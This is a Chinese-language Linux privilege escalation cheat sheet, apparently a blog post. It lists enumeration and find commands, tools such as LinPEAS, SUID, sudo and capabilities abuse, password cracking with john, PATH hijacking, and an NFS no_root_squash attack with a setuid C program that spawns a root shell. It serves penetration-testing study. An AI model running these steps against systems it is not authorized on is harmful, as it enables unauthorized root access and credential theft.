linux 提权

linux 提权

linux 提权

linux 本机信息枚举

常见命令

复制代码
hostname # 主机名
uname -a # 查询系统信息
cat /etc/version # 查看进程信息
cat /etc/issue # 查看操作系统信息
ps -A #查看所有正在运行的进程
ps axjf #查看进程树
ps aux #选项将显示所有用户的进程 (a)、显示启动进程的用户 (u) 以及显示未连接到终端的进程 (x)
env # 显示环境变量
sodu -l # 查看用户允许已root权限运行哪些命令
id <username> # 提供用户权限级别的一般概述,以及组成员身份
cat /etc/passwd # 发现系统上用户
history # 查看用户历史命令
ifconfig # 显示网卡信息
ip route # 查看存在的网络路由
netstat -ano 查看网络状态

netstat -a # 显示所有侦听端口和已建立的连接。
netstat -at/-au # 用于列出 TCP 或 UDP 协议 分别。netstat
netstat -l # 显示处于"侦听"模式的端口
netstat -s # 按协议列出网络使用统计信息
netstat -tp # 列出包含服务名称和 PID 信息的连接。
netstat -i # 显示接口统计信息。

find命令大全

复制代码
find . -name flag1.txt # 在当前目录查找文件
find /home -name flag1.txt # 在/home 目录查找文件
find / -type d -name config # 在/下找到名为config的目录
find / -type f -perm 0777 # 查找具有 777 权限的文件
find / -perm a=x # 查找可执行文件
find /home -user frank # 在home目录下查找用户Frank的所有文件
find / -mtime 10 # 查找最近 10 天中修改的文件
find / -atime 10 # 查找最近 10 天访问过的文件
find / -cmin -60 # 查找过去60分钟内更改的文件
find / -amin -60 # 查找过去60分钟内访问的文件
find / -size 50M # 查找大小为 50 MB 的文件
find / -size +50M # 查找大小大于 50 MB 的文件
find / -size -50M # 查找大小小于 50 MB 的文件
2>/dev/null # 将错误重定向到/dev/null
# 查找全局可写的目录的三种方法
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# 查找全局可执行的目录
find / -perm -o x -type d 2>/dev/null
# 查找开发工具和支持的语言
find / -name perl*
find / -name python*
find / -name gcc*
# 查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null

linux 自动枚举工具

复制代码
# LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

# LinEnum
https://github.com/rebootuser/LinEnum

# LES(Linux漏洞利用建议器)
https://github.com/mzet-/linux-exploit-suggester

# Linux智能枚举
https://github.com/diego-treitos/linux-smart-enumeration

# Linux隐私检查器
https://github.com/linted/linuxprivchecker

内核提权

利用步骤

复制代码
# 识别内核版本
# 搜索并找到目标系统内核版本的漏洞利用代码
# 运行漏洞利用程序

漏洞来源

复制代码
# 根据您的发现,您可以使用 Google 搜索现有的漏洞利用代码。
# https://www.linuxkernelcves.com/cves等来源也很有用。
# 另一种选择是使用 LES(Linux Exploit Suggester)之类的脚本,但请记住,这些工具可能会生成误报(报告不影响目标系统的内核漏洞)或漏报(不报告任何内核漏洞,尽管内核是易受伤害的)

sudo提权

复制代码
sudo -l # 检查与root权限相关的当前情况
https://gtfobins.github.io/ # 查询具有suid或者sudo权限可以如何提升权限

suid 提权

复制代码
find / -type f -perm -04000 -ls 2>/dev/null # 列出suid/sgid文件
https://gtfobins.github.io/ # suid提权速查
unshadow passwd.txt shadow.txt > passwords.txt # 破解用户名密码
sudo john password.txt # 爆破用户密码
openssl passwd -1 -salt 用户名 密码 # 生成用户名密码的加密

capabilities(功能) 提权

复制代码
getcap -r / 2>/dev/null # 查看启用的功能
https://gtfobins.github.io/ # capabilities提权速查

计划任务提权

复制代码
cat /etc/crontab # 查看计划任务
# 不要忘了加运行权限

环境变量提权

复制代码
echo $PATH # 输出环境变量
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # 查找可写文件夹
export PATH=/tmp:$PATH # 添加自有环境变量
echo "/bin/bash" > /tmp/thm && chmod +x /tmp/thm # 将bash文件copy成某文件

NFS(网络文件共享)提权

复制代码
cat /etc/exports | grep no_root_squash # 查看nfs配置文件并查看哪些目录可以利用
showmount -e 10.0.2.12 枚举目标机可挂载份额
mkdir /tmp/thm && mount -o rw 10.0.2.12:/backups /tmp/thm && cd /tmp/thm # 挂载目标机nfs

# 创建c语言代码
int main(){
  setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

gcc nfs.c -o nfs -w && chmod +s nfs && ls -l nfs # 编译c语言代码并赋予suid权限
相关推荐
小Ti客栈31 分钟前
安全之加密算法
安全
wadesir3 小时前
掌握Rust并发数据结构(从零开始构建线程安全的多线程应用)
数据结构·安全·rust
携欢4 小时前
POrtSwigger靶场之Exploiting XXE using external entities to retrieve files通关秘籍
网络·安全·github
菩提小狗5 小时前
小迪安全笔记_第4天|扩展&整理|30+种加密编码进制全解析:特点、用处与实战识别指南|小迪安全笔记|网络安全|
笔记·安全·web安全
94620164zwb55 小时前
数据备份模块 Cordova 与 OpenHarmony 混合开发实战
安全
秋4276 小时前
防火墙基本介绍与使用
linux·网络协议·安全·网络安全·架构·系统安全
sweet丶6 小时前
扩展了解DNS放大攻击:原理、影响与防御
网络协议·安全
acrelgxy7 小时前
看不见≠不存在,更不等于安全!故障电弧探测器,让隐形危险现出原形。
安全·电力监控系统·智能电力仪表
老赵聊算法、大模型备案7 小时前
新规解读:2025 年修正版《中华人民共和国网络安全法》核心变化解读
安全·web安全
360安全应急响应中心8 小时前
iOS安全开发中的Frida检测
安全·逆向